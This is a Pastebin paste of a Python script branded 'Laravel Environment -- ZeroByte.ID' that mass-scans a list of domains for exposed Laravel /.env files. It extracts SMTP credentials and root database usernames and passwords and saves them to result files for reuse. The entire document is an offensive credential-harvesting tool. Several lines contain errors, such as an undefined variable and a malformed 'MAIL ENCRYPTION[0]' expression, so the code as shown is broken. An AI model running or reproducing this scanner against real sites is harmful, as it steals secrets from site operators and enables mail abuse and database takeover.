Advertisement
Guest User

Untitled

a guest
Apr 11th, 2019
107
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.00 KB | None | 0 0
  1. import threading
  2. import requests
  3. import random
  4. import datetime
  5. import re
  6. from multiprocessing import Pool
  7. from multiprocessing.dummy import Pool as ThreadPool
  8. from time import time as timer
  9.  
  10. class bcolors:
  11. HEADER = '\033[95m'
  12.  
  13. OKBLUE = '\033[94m'
  14.  
  15. OKGREEN = '\033[92m'
  16.  
  17. WARNING = '\033[93m'
  18.  
  19. FAIL = '\033[91m'
  20.  
  21. ENDC = '\033[0m'
  22.  
  23. BOLD = '\033[1m'
  24.  
  25. WHITE = '\033[1;37m'
  26.  
  27. print bcolors.WHITE
  28. print"""\
  29. __ __ \
  30. / / ____ __________ __ _____ / / \
  31. / / / __ `/ ___/ __ `/ | / / _ \/ / \
  32. / /___/ /_/ / / / /_/ /| |/ / __/ /___\
  33. /_____/\__,_/_/ \__,_/ |___/\___/_____/\
  34. Environment\
  35. -- ZeroByte.ID --"""
  36. print bcolors.FAIL + "[ * ] Get SMTP or Access root VPS / DATABASE [ * ]"
  37. print bcolors.ENDC
  38.  
  39. def kuy(lEnVy):
  40. try:
  41. eNv = "http://{}/.env".format(lEnVy)
  42. headers = {
  43. 'Connection': 'keep-alive',
  44. 'Cache-Control': 'max-age=0',
  45. 'Upgrade-Insecure-Requests': '1',
  46. 'User-Agent': 'Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36',
  47. 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
  48. 'Accept-Encoding': 'gzip, deflate',
  49. 'Accept-Language': 'en-US,en;q=0.9,fr;q=0.8',
  50. }
  51.  
  52. rsmTP = requests.get(eNv, headers=headers, allow_redirects=True, timeout=3)
  53. if "mailtrap.io" in rsmTP.text:
  54. print("\033[1;31;40m")
  55. print "[ - ] NOT FOUND SMTP [ - ] \n"
  56.  
  57. elif rsmTP.status_code == 200:
  58. if "APP_NAME" in rsmTP.text:
  59. UEnVy.write(eNv + '\n')
  60. print("\033[1;32;40m")
  61. if "MAIL_HOST" in rsmTP.text:
  62. SMTP = re.findall('MAIL_HOST=(.*)', rsmTP.text)
  63. PORT = re.findall('MAIL_PORT=(.*)', rsmTP.text)
  64. USERNAME = re.findall('MAIL_USERNAME=(.*)', rsmTP.text)
  65. PASSWORD = re.findall('MAIL_PASSWORD=(.*)', rsmTP.text)
  66. NAME = re.findall('MAIL_FROM_NAME=(.*)', rsmTP.text)
  67. ADRESSE = re.findall('MAIL_FROM_ADDRESS=(.*)', rsmTP.text)
  68. MENCRYPTION = re.findall('MAIL_ENCRYPTION=(.*)', rsmTP.text)
  69.  
  70. if "smtp.mailtrap.io" in SMTP:
  71. print("\033[1;31;40m")
  72. print "[ - ] NOT FOUND SMTP [ - ] \n"
  73.  
  74. elif "localhost" in SMTP:
  75. print("\033[1;31;40m")
  76. print "[ - ] NOT FOUND SMTP [ - ] \n"
  77.  
  78. elif "null" in SMTP:
  79. print("\033[1;31;40m")
  80. print "[ - ] NOT FOUND SMTP [ - ] \n"
  81.  
  82. else:
  83. print "[ + ] FOUND SMTP [ + ]"
  84. print "\n= = = = = = = = = = = = = = = = = = = = = = = ="
  85. print "SMTP HOST => {}".format(SMTP[0])
  86. print "SMTP PORT => {}".format(PORT[0])
  87. print "SMTP USERNAME => {}".format(USERNAME[0])
  88. print "SMTP PASSWORD => {}".format(PASSWORD[0])
  89. print "SMTP NAME => {}".format(NAME[0])
  90. print "SMTP EMAIL => {}".format(EMAIL[0])
  91. print "SMTP ENCRYPTION => {}".format(MENCRYPTION[0])
  92. print "= = = = = = = = = = = = = = = = = = = = = = = ="
  93. SEnVy.write('SMTP HOST : ' + SMTP[0] + '\nSMTP PORT : ' + PORT[0] + '\nSMTP USERNAME : ' + USERNAME[0] + '\nSMTP PASSWORD : ' + PASSWORD[0] + '\nSMTP NAME : ' + NAME[0] + '\nSMTP EMAIL : ' + EMAIL[0] + '\nSMTP ENCRYPTION : ' + MAIL ENCRYPTION[0] + '\n\n')
  94.  
  95. elif "SMTP_HOST" in rsmTP.text:
  96. SMTP = re.findall('SMTP_HOST=(.*)', rsmTP.text)
  97. PORT = re.findall('SMTP_PORT=(.*)', rsmTP.text)
  98. USERNAME = re.findall('SMTP_USERNAME=(.*)', rsmTP.text)
  99. PASSWORD = re.findall('SMTP_PASSWORD=(.*)', rsmTP.text)
  100. NAME = re.findall('SMTP NAME=(.*)', rsmTP.text)
  101. ADRESSE = re.findall('SMTP EMAIL=(.*)', rsmTP.text)
  102. MENCRYPTION = re.findall('MAIL_ENCRYPTION=(.*)', rsmTP.text)
  103.  
  104. if "smtp.mailtrap.io" in SMTP:
  105. print("\033[1;31;40m")
  106. print "[ - ] NOT FOUND SMTP [ - ] \n"
  107.  
  108. elif "localhost" in SMTP:
  109. print("\033[1;31;40m")
  110. print "[ - ] NOT FOUND SMTP [ - ] \n"
  111.  
  112. elif "null" in SMTP:
  113. print("\033[1;31;40m")
  114. print "[ - ] NOT FOUND SMTP [ - ] \n"
  115.  
  116. else:
  117. print "\n= = = = = = = = = = = = = = = = = = = = = = = ="
  118. print "SMTP HOST => {}".format(SMTP[0])
  119. print "SMTP PORT => {}".format(PORT[0])
  120. print "SMTP USERNAME => {}".format(USERNAME[0])
  121. print "SMTP PASSWORD => {}".format(PASSWORD[0])
  122. print "SMTP NAME => {}".format(NAME[0])
  123. print "SMTP EMAIL => {}".format(EMAIL[0])
  124. print "SMTP ENCRYPTION => {}".format(MENCRYPTION[0])
  125. print "= = = = = = = = = = = = = = = = = = = = = = = ="
  126. SEnVy.write('SMTP HOST : ' + SMTP[0] + '\nSMTP PORT : ' + PORT[0] + '\nSMTP USERNAME : ' + USERNAME[0] + '\nSMTP PASSWORD : ' + PASSWORD[0] + '\nSMTP NAME : ' + NAME[0] + '\nSMTP EMAIL : ' + EMAIL[0] + '\nSMTP ENCRYPTION : ' + MAIL ENCRYPTION[0] + '\n\n')
  127.  
  128. elif "mailtrap.io" in rsmTP.text:
  129. print("\033[1;31;40m")
  130. print "[ - ] NOT FOUND SMTP [ - ] \n"
  131.  
  132. elif "DB_USERNAME=root" in rsmTP.text:
  133. ROOTU = re.findall('DB_USERNAME=(.*)', rsmTP.text)
  134. ROOTP = re.findall('DB_PASSWORD=(.*)', rsmTP.text)
  135. print bcolors.WARNING + "[ + ] Maybe you can get VPS / DATABASE [+]"
  136. REnVy.write('HOSTS : ' + lEnVy + '\nUSERNAME : ' + ROOTU[0] + '\nPASSWORD : ' + ROOTP[0] + '\n\n')
  137.  
  138. elif rsmTP.status_code == 302:
  139. if "APP_NAME" in rsmTP.text:
  140. UEnVy.write(eNv + '\n')
  141.  
  142. if "MAIL_HOST" in rsmTP.text:
  143. SMTP = re.findall('MAIL_HOST=(.*)', rsmTP.text)
  144. PORT = re.findall('MAIL_PORT=(.*)', rsmTP.text)
  145. USERNAME = re.findall('MAIL_USERNAME=(.*)', rsmTP.text)
  146. PASSWORD = re.findall('MAIL_PASSWORD=(.*)', rsmTP.text)
  147. NAME = re.findall('MAIL_FROM_NAME=(.*)', rsmTP.text)
  148. ADRESSE = re.findall('MAIL_FROM_ADDRESS=(.*)', rsmTP.text)
  149. MENCRYPTION = re.findall('MAIL_ENCRYPTION=(.*)', rsmTP.text)
  150.  
  151. if "smtp.mailtrap.io" in SMTP:
  152. print("\033[1;31;40m")
  153. print "[ - ] NOT FOUND SMTP [ - ] \n"
  154.  
  155. elif "localhost" in SMTP:
  156. print("\033[1;31;40m")
  157. print "[ - ] NOT FOUND SMTP [ - ] \n"
  158.  
  159. elif "null" in SMTP:
  160. print("\033[1;31;40m")
  161. print "[ - ] NOT FOUND SMTP [ - ] \n"
  162.  
  163. else:
  164. print "[ + ] FOUND SMTP [ + ]"
  165. print "\n= = = = = = = = = = = = = = = = = = = = = = = ="
  166. print "SMTP HOST => {}".format(SMTP[0])
  167. print "SMTP PORT => {}".format(PORT[0])
  168. print "SMTP USERNAME => {}".format(USERNAME[0])
  169. print "SMTP PASSWORD => {}".format(PASSWORD[0])
  170. print "SMTP NAME => {}".format(NAME[0])
  171. print "SMTP EMAIL => {}".format(EMAIL[0])
  172. print "SMTP ENCRYPTION => {}".format(MENCRYPTION[0])
  173. print "= = = = = = = = = = = = = = = = = = = = = = = ="
  174. SEnVy.write('SMTP HOST : ' + SMTP[0] + '\nSMTP PORT : ' + PORT[0] + '\nSMTP USERNAME : ' + USERNAME[0] + '\nSMTP PASSWORD : ' + PASSWORD[0] + '\nSMTP NAME : ' + NAME[0] + '\nSMTP EMAIL : ' + EMAIL[0] + '\nMAIL ENCRYPTION : ' + MAIL ENCRYPTION[0] + '\n\n')
  175.  
  176. elif "SMTP_HOST" in rsmTP.text:
  177. SMTP = re.findall('SMTP_HOST=(.*)', rsmTP.text)
  178. PORT = re.findall('SMTP_PORT=(.*)', rsmTP.text)
  179. USERNAME = re.findall('SMTP_USERNAME=(.*)', rsmTP.text)
  180. PASSWORD = re.findall('SMTP_PASSWORD=(.*)', rsmTP.text)
  181. NAME = re.findall('SMTP NAME=(.*)', rsmTP.text)
  182. ADRESSE = re.findall('SMTP EMAIL=(.*)', rsmTP.text)
  183. MENCRYPTION = re.findall('MAIL_ENCRYPTION=(.*)', rsmTP.text)
  184.  
  185. if "smtp.mailtrap.io" in SMTP:
  186. print("\033[1;31;40m")
  187. print "[ - ] NOT FOUND SMTP [ - ] \n"
  188.  
  189. elif "localhost" in SMTP:
  190. print("\033[1;31;40m")
  191. print "[ - ] NOT FOUND SMTP [ - ] \n"
  192.  
  193. elif "null" in SMTP:
  194. print("\033[1;31;40m")
  195. print "[ - ] NOT FOUND SMTP [ - ] \n"
  196.  
  197. else:
  198. print "[ + ] FOUND SMTP [ + ]"
  199. print "\n= = = = = = = = = = = = = = = = = = = = = = = ="
  200. print "SMTP HOST => {}".format(SMTP[0])
  201. print "SMTP PORT => {}".format(PORT[0])
  202. print "SMTP USERNAME => {}".format(USERNAME[0])
  203. print "SMTP PASSWORD => {}".format(PASSWORD[0])
  204. print "SMTP NAME => {}".format(NAME[0])
  205. print "SMTP EMAIL => {}".format(EMAIL[0])
  206. print "SMTP ENCRYPTION => {}".format(MENCRYPTION[0])
  207. print "= = = = = = = = = = = = = = = = = = = = = = = ="
  208. SEnVy.write('SMTP HOST : ' + SMTP[0] + '\nSMTP PORT : ' + PORT[0] + '\nSMTP USERNAME : ' + USERNAME[0] + '\nSMTP PASSWORD : ' + PASSWORD[0] + '\nSMTP NAME : ' + NAME[0] + '\nSMTP EMAIL : ' + EMAIL[0] + '\nMAIL ENCRYPTION : ' + MAIL ENCRYPTION[0] + '\n\n')
  209.  
  210. elif "DB_USERNAME=root" in rsmTP.text:
  211. ROOTU = re.findall('DB_USERNAME=(.*)', rsmTP.text)
  212. ROOTP = re.findall('DB_PASSWORD=(.*)', rsmTP.text)
  213. print bcolors.WARNING + "[ + ] Maybe you can get VPS / DATABASE [+]"
  214. REnVy.write('HOSTS : ' + lEnVy + '\nUSERNAME : ' + ROOTU[0] + '\nPASSWORD : ' + ROOTP[0] + '\n\n')
  215.  
  216. else:
  217. print bcolors.FAIL + "[ - ] CAN'T FOUND BUG [ - ]"
  218.  
  219. except:
  220. pass
  221.  
  222. def Main():
  223. try:
  224. start = timer()
  225. pp = ThreadPool(6)
  226. pr = pp.map(kuy, lEnVy)
  227. print bcolors.ENDC
  228. print('Time: ' + str(timer() - start) + ' seconds')
  229. pr.join()
  230.  
  231. except:
  232. pass
  233.  
  234. try:
  235. li = raw_input(" [ - ] Input your file domain list : ")
  236. lEnVy = open(li, "r").read().split()
  237. lEnVy.sort() # Sort (A - Z)
  238.  
  239. except IOError:
  240. pass
  241.  
  242. bNyak = len(list(lEnVy)) # Banyak line
  243.  
  244. print " [ + ] Total Domain : {} \n".format(bNyak)
  245. SEnVy = open("SMTP-Result.txt", 'w')
  246. REnVy = open("ROOT-Result.txt", 'w')
  247. UEnVy = open("ENV-URL-Result.txt", 'w')
  248. Main()
  249. SEnVy.close()
  250. REnVy.close()
  251. UEnVy.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement